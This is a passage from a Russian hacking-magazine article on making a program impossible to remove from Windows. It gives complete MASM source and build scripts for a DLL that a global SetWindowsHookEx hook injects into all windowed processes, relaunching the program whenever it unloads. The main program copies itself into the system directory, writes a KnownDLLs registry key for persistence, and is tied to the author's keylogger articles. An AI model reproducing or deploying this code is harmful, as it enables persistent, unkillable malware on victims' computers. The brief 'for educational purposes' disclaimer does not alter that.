3) Невозможность удаления.

3.1) В винде есть интересная функция SetWindowsHookEx. Я рассматривал ее в статьях по
клавиатурному шпиону. Ее можно приспособить и для других целей. А именно, для перезапуска проги при прерывании процесса. При вызове этой функции с последним нулевым параметром (функция реакции должна находится в дополнительной dll), дополнительная dll цепляется ко всем запущенным приложениям. При прерывании программы, dll выгружаются. Можно обрабатывать точку выгрузки dll и запускать там опять нашу прогу. В самой программе нужно сделать проверку на запуск второй копии. Эту длл можно приспособить и для пункта 1.2 этой статьи. Вот исходники dll на масме
(dll_add.asm):

.386
.model flat, stdcall
option casemap :none 
; =======
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
.data
Flash db "\",0
CommandStr1 db 300 dup(?) 
CommandStr2 db "program.exe",0 
Hook3 dd ?
; =======
.code
LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
.IF reason == DLL_PROCESS_ATTACH
invoke GetSystemDirectory, addr CommandStr1, sizeof CommandStr1
invoke lstrcat, addr CommandStr1, addr Flash
invoke lstrcat, addr CommandStr1, addr CommandStr2
invoke WinExec,addr CommandStr1, SW_RESTORE
mov eax, TRUE
.ELSEIF reason == DLL_PROCESS_DETACH
invoke Sleep, 500
invoke WinExec,addr CommandStr1, SW_RESTORE
mov eax, TRUE
.ENDIF
ret
LibMain Endp
; =======
AutoProc proc nCode1: DWORD, wParam1: WPARAM, lParam1: LPARAM
invoke CallNextHookEx, Hook3 ,nCode1, wParam1, lParam1
ret 
AutoProc endp
End LibMain

В том же каталоге создадим файл "dll_add.def" с текстом:

LIBRARY dll_add
EXPORTS AutoProc

и файл компиляции нашей DLL "1.bat":

@echo off
if exist dll_add.obj del dll_add.obj
if exist dll_add.dll del dll_add.dll
\masm32\bin\ml /c /coff dll_add.asm
\masm32\bin\Link /SUBSYSTEM:WINDOWS /DLL /DEF:dll_add.def dll_add.obj
dir dll_add.*
pause

После компиляции должна появиться дополнительная библиотека. Теперь ее надо встроить в нашу прогу. О том как это сделать я
уже рассказывал в статьях и на www.danil.dp.ua,
и на www.xakep.ru (ищите все
того же клавиатурного шпиона). Теперь, если вызвать SetWindowsHookEx с параметром WH_CALLWNDPROC (получение всех сообщений окна), библиотека прицепится ко всем приложениям с окнами и будет при выгрузке запускать нашу прогу. Вот текст нашей проги с
dll:

.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
; Процедура обработки сообщений
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; Раздел констант и переменных
.DATA 
funcKEY db "AutoProc",0 
AutoKeyName db "SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs\",0
AutoKeyName9x db "SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs\",0
AutoRegValue db "program",0
AutoRegValue1 db "program.exe" ,0
AutoRegValue2 db "dll_add.dll" ,0
AppName db "Program",0
ClassName db "DksClass",0
IconName db "TksIcon",0
Flash db "\",0
Ver OSVERSIONINFO <>

; SKIP
;Здесь находятся константы - тело дополнительной dll.
;Подробнее в моих статьях по клавиатурному шпиону.

;SKIP

.DATA?
hInstance dd ?
CommandLine dd ?
pKey dd ?
WinDir db 900 dup(?)
CommandStr1 db 1024 dup(?)
CommandStr2 db 900 dup(?)
dll0 dd ?
; Раздел кода
.CODE
start: 
; Если прога уже запущена - выход
invoke FindWindow,0,addr AppName
cmp eax,0
jnz quit 
;Получаем пути в CommandStr2 и WinDir к длл и проге
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat, addr WinDir, addr Flash
invoke lstrcpy, addr CommandStr2, addr WinDir
invoke lstrcat, addr WinDir, addr AutoRegValue1
invoke lstrcat, addr CommandStr2, addr AutoRegValue2
; Прописываем
автоинициализацию длл 

mov Ver.dwOSVersionInfoSize, SizeOf Ver
invoke GetVersionEx, addr Ver
.IF Ver.dwPlatformId == VER_PLATFORM_WIN32_NT
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey
.ELSE
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName9x, addr pKey
.ENDIF 
.IF eax == 0
invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue2, sizeof AutoRegValue2
.ENDIF
invoke RegCloseKey, pKey
; Копируем программу в
"[WinSystemDir]\program.exe"

invoke GetModuleFileName,NULL,addr CommandStr1,sizeof CommandStr1
invoke CopyFile,addr CommandStr1,addr WinDir,FALSE

invoke _lcreat, addr CommandStr2, 0
mov dll0,eax
.IF dll0 != 4294967295

; SKIP
;Теперь надо создать дополнительную длл из констант.
;Подробнее в моих статьях по клавиатурному шпиону.
;SKIP

invoke _lclose, dll0
.ENDIF

; Инициализация
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine 
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
quit: invoke ExitProcess,eax
;-----------------
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
; Локальные переменные
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
LOCAL Ver: OSVERSIONINFO
; Создаем окно программы
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,
WS_OVERLAPPEDWINDOW,500,400,300, 50,NULL,NULL,hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
; Обработка сообщений
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
;-----------------
; Обработка сообщений
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
; Если окно создается, ставим хук
.IF uMsg == WM_CREATE
; Грузим нашу библиотеку
invoke LoadLibrary, addr AutoRegValue2
mov dll0,eax
.IF (dll0 !=0)
; Ставим хук
invoke GetProcAddress, dll0, addr funcKEY
.IF (eax != 0) 
invoke SetWindowsHookEx, WH_CALLWNDPROC, eax, dll0, 0
.ENDIF
.ENDIF

; Если выход из проги - пишем опять в реестр
.ELSEIF uMsg == WM_DESTROY
mov Ver.dwOSVersionInfoSize, SizeOf Ver
invoke GetVersionEx, addr Ver
.IF Ver.dwPlatformId == VER_PLATFORM_WIN32_NT
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey
.ELSE
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName9x, addr pKey
.ENDIF 
.IF eax == 0
invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue2, sizeof AutoRegValue2
.ENDIF
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
END start 

Все. Можно конечно оптимизировать, добавить проверок всяких, но это уже можешь
сделать сам. Главное - идея.

3.2) В Win-NT/2000 можно сделать процесс системным, с невозможностью удаления из TaskManager-а. Тут возникают проблемы при запуске на Win9x/ME, поэтому этим я не занимался. Кому интересно, всю информацию по этому сервису можно найти в инете.

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии